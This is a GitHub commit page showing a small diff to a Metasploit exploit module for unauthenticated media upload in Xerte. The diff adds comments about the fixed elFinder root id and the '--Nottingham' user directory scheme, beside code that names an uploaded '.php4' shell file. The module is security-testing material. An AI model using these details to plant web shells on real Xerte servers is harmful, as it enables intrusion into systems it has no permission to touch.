Skip to content

Commit 6d7c49e

Browse files
committed
Adds comments to clarify Xerte user directory scheme and elfinder root id
1 parent cac3fd3 commit 6d7c49e

1 file changed

Lines changed: 4 additions & 2 deletions

File tree

modules/exploits/multi/http/xerte_unauthenticated_mediaupload.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -179,13 +179,15 @@ def exploit
179179

180180
vprint_status("Application Root: #{webroot}")
181181

182+
# The root dir id is always l1_Lw regardless of authentication scheme, user, or project
182183
root_dir_id = 'l1_Lw'
183184
dirname = Rex::Text.rand_text_alpha(8)
184185
filename = dirname + '.txt'
185186
shellname = dirname + '.php4'
186187

187-
if datastore['USERNAME'].nil?
188-
user_dir = '--Nottingham/'
188+
# The --Nottingham suffix is non configurable - it's used in all Xerte installations
189+
if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration)
190+
user_dir = '--Nottingham/' # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories
189191
else
190192
user_dir = "-#{datastore['USERNAME']}-Nottingham/"
191193
end

0 commit comments

Comments
 (0)